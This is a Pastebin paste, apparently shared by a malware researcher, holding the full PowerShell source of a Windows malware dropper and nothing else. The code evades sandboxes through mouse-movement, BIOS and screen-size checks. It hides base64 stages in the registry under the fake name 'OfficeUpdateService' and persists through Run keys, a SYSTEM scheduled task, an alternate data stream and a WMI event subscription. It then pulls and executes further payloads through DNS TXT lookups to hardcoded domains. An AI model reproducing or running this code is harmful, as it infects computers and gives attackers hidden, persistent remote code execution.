James_inthe_box

Power

Nov 8th, 2017
548
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.84 KB | None | 0 0
  1. $data=[System.Convert]::FromBase64String('Add-Type -AssemblyName System.Windows.Forms;
  2. $X = [System.Windows.Forms.Cursor]::Position.X;
  3. $Y = [System.Windows.Forms.Cursor]::Position.Y;
  4. while([System.Windows.Forms.Cursor]::Position.X -eq $X -and [System.Windows.Forms.Cursor]::Position.Y -eq $Y)
  5. { Start-Sleep -Milliseconds 500;
  6. }
  7. $bios = gwmi Win32_BIOS | Select-Object version,serialnumber
  8. if($bios.SerialNumber -like "*VMware*"){exit;}
  9. if($bios.Version -match "A M I"){exit;}
  10. $mouse_move_timeout = 10;
  11. function calc_delta($sampling_interval)
  12. { $x1 = [System.Windows.Forms.Cursor]::Position.X;
  13. $y1 = [System.Windows.Forms.Cursor]::Position.Y;
  14. sleep -MilliSeconds $sampling_interval;
  15. $x2 = [System.Windows.Forms.Cursor]::Position.X;
  16. $y2 = [System.Windows.Forms.Cursor]::Position.Y;
  17. return ($x2-$x1),($y2-$y1);
  18. }
  19. function max_mouse_speed($sampling_time)
  20. { $super_mover_threshold = 60;
  21. $max_deriv = 0;
  22. $timeout = (Get-Date).AddSeconds($sampling_time);
  23. while($True){ $delta = calc_delta(10);
  24.  
  25. $dx = $delta[0];
  26. $dy = $delta[1];
  27. if($dy -eq 0)
  28. { continue;
  29. }
  30. else{ if($debug){ $abs=[math]::abs($dx/$dy);
  31.  
  32. }
  33.  
  34. $abs_deriv = [math]::abs($dx/$dy);
  35. if($abs_deriv -gt $max_deriv){ $max_deriv = $abs_deriv
  36. }
  37. }
  38. if((Get-Date) -gt $timeout){ break;
  39. }
  40. }
  41.  
  42. if($max_deriv -gt $super_mover_threshold){ return $True;
  43. }
  44. else{ return $False;
  45. }}
  46. $mms = max_mouse_speed($mouse_move_timeout);
  47. if($mms){exit;}
  48. if([System.Windows.Forms.SystemInformation]::PrimaryMonitorSize.Width -lt 800 -and [System.Windows.Forms.SystemInformation]::PrimaryMonitorSize.Height -lt 600)
  49. { exit;
  50. }
  51. $ServiceCode = @'
  52. $data=[System.Convert]::FromBase64String('${__/====\__/=\__/\} = 10
  53. ${_/=\/\_/==\/\/\/\} = @($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZAAtAG4ALgBtAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZAAtAG4ALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQA0AG4ALgBtAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQA0AG4ALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQA0AHgALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQB4ADAALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAB4ADAALgBtAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAB4ADAALgBwAHcA'))));
  54. function ___/===\/\___/==\_
  55. { [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList, [Parameter(ValueFromPipeline=$True)]${___/==\/===\/=\/==});
  56. ${_/==\/=\/\_/\/=\_} = '';
  57. ${_/==========\/\/==} = _/=\/==\_/===\_/== $DomainList;
  58. ${/\____/=\___/\/\/} = 0;
  59. ${_____/====\__/\__} = "$(____/=\_/=====\/==).${___/==\/===\/=\/==}.${/\____/=\___/\/\/}.${_/==========\/\/==}";
  60. Write-Host $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABvAHcAbgBsAG8AYQBkAA==')))
  61. ${____/\__/==\_/=\_} = _/==\__/===\_/\/\/ ${_____/====\__/\__};
  62. if (${____/\__/==\_/=\_} -eq 0) { return 0
  63. }
  64. while (${____/\__/==\_/=\_} -ne $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAuADAALgAwAC4AMAA='))))
  65. { Write-Host $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBwADoAIAAkAHsAXwBfAF8AXwAvAFwAXwBfAC8APQA9AFwAXwAvAD0AXABfAH0A')));
  66. ${_____/\_/=====\_/} = ___/\/\/=\/==\/\__ ${____/\__/==\_/=\_};
  67. ${/=\_/=\___/\___/=} = _/==\_/\/====\/\__ ${_____/\_/=====\_/};
  68. Write-Host ${/=\_/=\___/\___/=};
  69. ${/==\/=\_/===\/===} = (_/==\_/\/\__/\/\/\ ${_____/====\__/\__}) -join '';
  70. if (${/==\/=\_/===\/===} -eq 0) { return 0
  71. }
  72. ${___/==\_/=\/=\_/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
  73. ${__/\_/\/\_/\/==\_} = (${___/==\_/=\/=\_/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${/==\/=\_/===\/===})) | foreach{$_.ToString("X2") }) -join "";
  74. ${___/=\/=\_____/\/} = _/==\/==\/=\_/\_/\ ${__/\_/\/\_/\/==\_}.Substring(0, 8) | _/==\_/\/====\/\__; if([string]${/=\_/=\___/\___/=} -eq [string]${___/=\/=\_____/\/})
  75. { ${_/==\/=\/\_/\/=\_} += ${/==\/=\_/===\/===};
  76. ${_/==========\/\/==} = _/=\/==\_/===\_/== $DomainList;
  77. ${/\____/=\___/\/\/}++;
  78. }
  79. ${_____/====\__/\__} = "$(____/=\_/=====\/==).${___/==\/===\/=\/==}.${/\____/=\___/\/\/}.${_/==========\/\/==}";
  80. ${____/\__/==\_/=\_} = _/==\__/===\_/\/\/ ${_____/====\__/\__};
  81. if (${____/\__/==\_/=\_} -eq 0) { return 0
  82. }
  83. }
  84. return [string]${_/==\/=\/\_/\/=\_};
  85. }
  86. function _/=\/==\_/===\_/==
  87. { param([array]$DomainList)
  88. if($DomainList.count -eq 1)
  89. { return $DomainList;
  90. }
  91. return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)];
  92. }
  93. function ____/=\_/=====\/==()
  94. { ${___/\__/\/\_/\/\/} = gwmi Win32_BIOS | Select -ExpandProperty SerialNumber ;
  95. ${___/==\_/=\/=\_/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
  96. ${__/\_/\/\_/\/==\_} = (${___/==\_/=\/=\_/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${___/\__/\/\_/\/\/})) | %{$_.ToString("X2") }) -join "";
  97. return ${__/\_/\/\_/\/==\_}.Substring(0, 10);
  98. }
  99. function __/\/=\_/=\______/
  100. { [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)][array]$DomainList, [scriptblock]${__/==\/\___/\_/\__});
  101. if((-not $DomainList) -or ($DomainList.count -eq 0))
  102. { Throw $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvACAAZABvAG0AYQBpAG4AcwA=')));
  103. }
  104. ${_/==========\/\/==} = _/=\/==\_/===\_/== $DomainList;
  105. try
  106. { return &${__/==\/\___/\_/\__} -Domain ${_/==========\/\/==};
  107. }
  108. catch
  109. { Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQByAHIAbwByADoAIAAkAGUAcgByAG8AcgA=')));
  110. return __/\/=\_/=\______/ ([array]($DomainList | ? {$_ -ne ${_/==========\/\/==} })) ${__/==\/\___/\_/\__};
  111. }}
  112. function _/==\__/===\_/\/\/
  113. { [CmdletBinding()]
  114. param([Parameter()]${_/==========\/\/==})
  115. ${_/==\/=\/\_/\/==\} = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
  116. ${_/\__/\______/=\_} = ""
  117. if(${_/==\/=\/\_/\/==\} -gt 2)
  118. { try{${_/\__/\______/=\_}=(Resolve-DnsName -Name ${_/==========\/\/==} -Type A -ErrorAction Stop).IPAddress}catch{${_/\__/\______/=\_} = _/==\__/===\_/\/\/ ${_/==========\/\/==}}
  119. }
  120. else
  121. {
  122. try{ ${/=\/\/=\/=\/\/\/\} = (iex $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AGEAIAAkAHsAXwAvAD0APQA9AD0APQA9AD0APQA9AD0AXAAvAFwALwA9AD0AfQA='))) 2>&1 )
  123. ${____/\/=\/====\_/} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8ALwA9AD0APQA9AD0APQA9AD0APQA9AFwALwBcAC8APQA9AH0AKAAuAGwAbwBjAGEAbABkAG8AbQBhAGkAbgApACoAXABzACoAQQBkAGQAcgBlAHMAcwAoAGUAcwApACoAOgBcAHMAKgAoAFsAXABkAFwALgBdACoAKQA=')))
  124. ${_/====\_/\/\/\/\/} = ${____/\/=\/====\_/}.Match(${/=\/\/=\/=\/\/\/\})
  125. ${____/\_/\__/\/===} = 0
  126. while ((-not ${_/====\_/\/\/\/\/}.Success) -and (${____/\_/\__/\/===} -ne ${__/====\__/=\__/\})) {sleep -s 1
  127. ${/=\/\/=\/=\/\/\/\} = nslookup -type=a ${_/==========\/\/==} 2>&1
  128. ${____/\/=\/====\_/} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8AXwBfAF8AXwAvAD0APQA9AD0AXABfAF8ALwBcAF8AXwB9ACgALgBsAG8AYwBhAGwAZABvAG0AYQBpAG4AKQAqAFwAcwAqAEEAZABkAHIAZQBzAHMAKABlAHMAKQAqADoAXABzACoAKABbAFwAZABcAC4AXQAqACkA')))
  129. ${_/====\_/\/\/\/\/} = ${____/\/=\/====\_/}.Match(${/=\/\/=\/=\/\/\/\})
  130. ${____/\_/\__/\/===} = ${____/\_/\__/\/===} + 1
  131. }
  132. if ((-not ${_/====\_/\/\/\/\/}.Success)) {return 0
  133. } else { ${_/\__/\______/=\_} = ${_/====\_/\/\/\/\/}.Groups[3].Value
  134. }
  135. } catch{}
  136. }
  137. ${__/===\__/\___/\_} = ${_/\__/\______/=\_}|Out-String;
  138. if(${__/===\__/\___/\_} -eq "")
  139. { ${script:___/=\/\__/\/\_/\} = ${_/=\/\_/==\/\/\/\}[(Get-Random -Maximum (${_/=\/\_/==\/\/\/\}).count)];
  140. }
  141. return ${__/===\__/\___/\_}.Trim();
  142. }
  143. function _/==\_/\/\__/\/\/\
  144. { [CmdletBinding()]
  145. param([Parameter()]${_/==========\/\/==})
  146. ${_/==\/=\/\_/\/==\} = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
  147. ${_/\__/\______/=\_} = ""
  148. if(${_/==\/=\/\_/\/==\} -gt 2)
  149. { try{${_/\__/\______/=\_}=(Resolve-DnsName -Name ${_/==========\/\/==} -Type TXT -ErrorAction Stop).Strings}catch{${_/\__/\______/=\_} = _/==\_/\/\__/\/\/\ ${_/==========\/\/==}}
  150. }
  151. else
  152. { try{ ${/=\/\/=\/=\/\/\/\} = (iex $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AHQAeAB0ACAAJAB7AF8ALwA9AD0APQA9AD0APQA9AD0APQA9AFwALwBcAC8APQA9AH0A'))) 2>&1 )
  153. ${____/\/=\/====\_/} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
  154. ${___/==\/=\_/\_/==} = ${____/\/=\/====\_/}.Matches(${/=\/\/=\/=\/\/\/\});
  155. ${____/\_/\__/\/===} = 0
  156. while ((${___/==\/=\_/\_/==}.count -eq 0) -and (${__/====\__/=\__/\} -ne ${____/\_/\__/\/===})){ sleep -s 1
  157. ${____/\_/\__/\/===} = ${____/\_/\__/\/===} + 1
  158. ${/=\/\/=\/=\/\/\/\} = nslookup -type=txt ${_/==========\/\/==} 2>&1;
  159. ${____/\/=\/====\_/} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
  160. ${___/==\/=\_/\_/==} = ${____/\/=\/====\_/}.Matches(${/=\/\/=\/=\/\/\/\});
  161. }
  162. if (${___/==\/=\_/\_/==}.count -eq 0) { return 0
  163. } else { ${_/\__/\______/=\_} = (${____/\/=\/====\_/}.Matches(${/=\/\/=\/=\/\/\/\}) | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' ';
  164. }
  165. } catch{Write-Host $Error[0]}
  166. }
  167. ${__/===\__/\___/\_} = ${_/\__/\______/=\_}|Out-String;
  168. if(${__/===\__/\___/\_} -eq "")
  169. { ${script:___/=\/\__/\/\_/\} = ${_/=\/\_/==\/\/\/\}[(Get-Random -Maximum (${_/=\/\_/==\/\/\/\}).count)];
  170. }
  171. return ${__/===\__/\___/\_}.Trim();
  172. }
  173. function _/=\__/\_/==\/\/=\
  174. { [CmdletBinding()]Param ([Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)][byte[]] $byteArray = $(Throw($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAA='))))))
  175. Process
  176. { ${__/\_/\_/\_/\/==\} = New-Object System.IO.MemoryStream;
  177. ${__/\_/\_/\_/\/==\}.Write($byteArray, 0, $byteArray.Length);
  178. $null = ${__/\_/\_/\_/\/==\}.Seek(0,0);
  179. ${/===\_/===\__/=\_} = New-Object System.IO.Compression.GZipStream(${__/\_/\_/\_/\/==\}, [System.IO.Compression.CompressionMode]::Decompress);
  180. ${_/===\____/\/\___} = New-Object System.IO.MemoryStream;
  181. ${_/==\____/=\/==\_} = New-Object System.IO.StreamReader(${/===\_/===\__/=\_}, [system.Text.Encoding]::UTF8);
  182. echo ${_/==\____/=\/==\_}.readtoend();
  183. }}
  184. function _/==\_/\__/\_/=\__
  185. { [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${___/=\_/==\/\__/==});
  186. if (${___/=\_/==\/\__/==} -eq 0) { return 0
  187. }
  188. ${/=\__/\____/=\/=\} = [System.Convert]::FromBase64String(${___/=\_/==\/\__/==});
  189. return _/=\__/\_/==\/\/=\(${/=\__/\____/=\/=\});
  190. }
  191. function Get-Stage-PS
  192. { [CmdletBinding()]param([Parameter()]$DomainList);
  193. return __/\/=\_/=\______/ $DomainList
  194. {return _/==\_/\/\__/\/\/\ "$(____/=\_/=====\/==).stage.${_/==========\/\/==}" | _/==\_/\__/\_/=\__; };};
  195. function ____/\/\/=\__/=\__
  196. { [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList);
  197. return ___/===\/\___/==\_ $DomainList $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAZwBlAA=='))) | _/==\_/\__/\_/=\__;
  198. }
  199. function _/==\/==\/=\_/\_/\
  200. { [CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${_/=\/\___/=\_/\/\/});
  201. ${__/\/===\/\/\____} = @{ '0' = 0;
  202. '1' = 1;
  203. '2' = 2;
  204. '3' = 3;
  205. '4' = 4;
  206. '5' = 5;
  207. '6' = 6;
  208. '7' = 7;
  209. '8' = 8;
  210. '9' = 9;
  211. 'A' = 10;
  212. 'B' = 11;
  213. 'C' = 12;
  214. 'D' = 13;
  215. 'E' = 14;
  216. 'F' = 15;
  217. };
  218. ${_/\/==\/=\/=\/\/\} = "${_/=\/\___/=\_/\/\/}".Length;
  219. ${_/=\__/\____/\___} = ${_/\/==\/=\/=\/\/\};
  220. [uint64]${/=\__/\/==\/\_/=\} = 0;
  221. while (${_/\/==\/=\/=\/\/\} -ne 0)
  222. { ${_/\/==\/=\/=\/\/\}--;
  223. ${/======\/==\/=\/\} = ${__/\/===\/\/\____}[[string]${_/=\/\___/=\_/\/\/}[${_/\/==\/=\/=\/\/\}]];
  224. ${/==\/\__/===\_/\/} = _/=\/==\___/==\/=\ 16 (${_/=\__/\____/\___} - ${_/\/==\/=\/=\/\/\} - 1);
  225. ${/=\__/\/==\/\_/=\} += [uint64]([uint64]${/======\/==\/=\/\} * [uint64]${/==\/\__/===\_/\/});
  226. }
  227. return ${/=\__/\/==\/\_/=\};
  228. }
  229. function _/=\/==\___/==\/=\
  230. { [CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${__/==\/\/==\/=====}, [Parameter(ValueFromPipeline=$True)]${___/\/=\/=====\/\_});
  231. return [Math]::Pow(${__/==\/\/==\/=====}, ${___/\/=\/=====\/\_});
  232. }
  233. function _/==\_/\/====\/\__
  234. { [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${__/\__/=\/==\/=\/=});
  235. return [convert]::ToString(${__/\__/=\/==\/=\/=},2);
  236. }
  237. function ___/\/\/=\/==\/\__
  238. { [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${______/\__/==\_/=\});
  239. ${___/==\___/\/==\_} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAF8AXwBfAC8AXABfAF8ALwA9AD0AXABfAC8APQBcAH0A'))).Split(".");
  240. ${/=\/=\__/=======\} = [uint64]([uint64]${___/==\___/\/==\_}[0] * 16777216);
  241. ${___/\_/====\/\/\_} = [uint64]([uint64]${___/==\___/\/==\_}[1] * 65536);
  242. ${/=\/\__/=\/=\__/\} = [uint64]([uint64]${___/==\___/\/==\_}[2] * 256);
  243. ${_/=\/\/==\/=\_/\/} = ${___/==\___/\/==\_}[3];
  244. ${_____/\__/\_/=\/\} = ${/=\/=\__/=======\} + ${___/\_/====\/\/\_} + ${/=\/\__/=\/=\__/\} + ${_/=\/\/==\/=\_/\/};
  245. return ${_____/\__/\_/=\/\};
  246. }
  247. function Int-To-Ip
  248. { [CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]$uint);
  249. ${/=\/=\__/=======\} = [uint64]([uint64]$uint / 16777216) % 256;
  250. ${___/\_/====\/\/\_} = [uint64]([uint64]$uint / 65536) % 256;
  251. ${/=\/\__/=\/=\__/\} = [uint64]([uint64]$uint / 256) % 256;
  252. ${_/=\/\/==\/=\_/\/} = [uint64]([uint64]$uint) % 256;
  253. return [string]${/=\/=\__/=======\} + '.' + [string]${___/\_/====\/\/\_} + '.' + [string]${/=\/\__/=\/=\__/\} + '.' + [string]${_/=\/\/==\/=\_/\/};
  254. }
  255. function ___/\/=\____/\_/\_
  256. { try
  257. { ${_/==\/=\/\_/\/=\_} = ____/\/\/=\__/=\__(${_/=\/\_/==\/\/\/\});
  258. iex ${_/==\/=\/\_/\/=\_};
  259. } catch { ___/\/=\____/\_/\_
  260. }}
  261. ___/\/=\____/\_/\_
  262. ');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0);$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX $sr.readtoend();
  263. '@
  264. $stgBytes = [System.Text.Encoding]::Unicode.GetBytes($ServiceCode)
  265. $stgB64 =[Convert]::ToBase64String($stgBytes)
  266. New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'OfficeUpdateService' -Value $stgB64 -force
  267. $stgC = @'
  268. $b64=(Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').OfficeUpdateService;$stCode=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64));[System.Threading.Mutex]$m;[bool]$mtmp=$false;$m=New-Object System.Threading.Mutex($true, [string]1100313370, [ref] $mtmp);if(!$mtmp){exit;}IEX $stCode;
  269. '@
  270. $eCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($stgC))
  271. try{ New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OfficeUpdateService' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
  272. } catch{try{New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'OfficeUpdateService' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force} catch{}}
  273. function Invoke-SchTask
  274. { $taskName = 'OfficeUpdateService';
  275.  
  276. New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'MSFT' -Value 'IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\Control` Panel\Desktop).OfficeUpdateService)))' -force
  277. $ps_version = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
  278. if($ps_version -gt 2)
  279. { $task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue;
  280. if ($task -ne $null)
  281. { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false;
  282. }
  283. $action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ep bypass -noni -w hidden -C IEX((Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').MSFT)"
  284. $trigger = New-ScheduledTaskTrigger -AtStartup -RandomDelay 00:15:00
  285. $settings = New-ScheduledTaskSettingsSet -Compatibility Win8
  286. $principal = New-ScheduledTaskPrincipal -UserId SYSTEM -LogonType ServiceAccount -RunLevel Highest
  287. $definition = New-ScheduledTask -Action $action -Principal $principal -Trigger $trigger -Settings $settings -Description "Run $($taskName) at startup"
  288. Register-ScheduledTask -TaskName $taskName -InputObject $definition
  289. $task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue
  290. }
  291. else
  292. { schtasks.exe /F /create /tn $taskName /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonI -ep bypass -nop -c 'IEX((Get-ItemProperty -Path ''HKCU:\Control Panel\Desktop'').MSFT)'" /sc onstart /ru System
  293. }}
  294. function Invoke-WMI-Pers
  295. { $psVersion = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
  296. $adsDir = $env:programdata + '\Windows'
  297. $adsModuleName = 'win.dll'
  298. if ($psVersion -gt 2)
  299. { Set-Content -Path $adsDir -Value $ServiceCode -Stream 'win.dll'
  300. }
  301. $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
  302. if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
  303. {
  304. $filterName = 'win_Filter';
  305. $consumerName = 'win_Consumer';
  306.  
  307. Get-WmiObject __eventFilter -namespace root\subscription | Remove-WmiObject
  308. Get-WmiObject CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
  309. Get-WmiObject __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject
  310. $filterResult = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class __EventFilter -Arguments @{Name = $filterName; EventNamespace = 'root\CIMV2'; QueryLanguage = 'WQL'; Query = "Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'"}
  311. if ($psVersion -gt 2)
  312. { $encCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX `$(Get-Content -Path $adsDir -Stream $adsModuleName|Out-String)"))
  313. Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments @{Name = $consumerName; ExecutablePath = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noni -w hidden -e $encCmd "}
  314. }
  315. }}
  316. Invoke-WMI-Pers
  317. Invoke-SchTask
  318. IEX $stgC
  319. ');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0)|Out-Null;$cs = New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);$t=$sr.readtoend();IEX $t;
Advertisement
Add Comment
Please, Sign In to add comment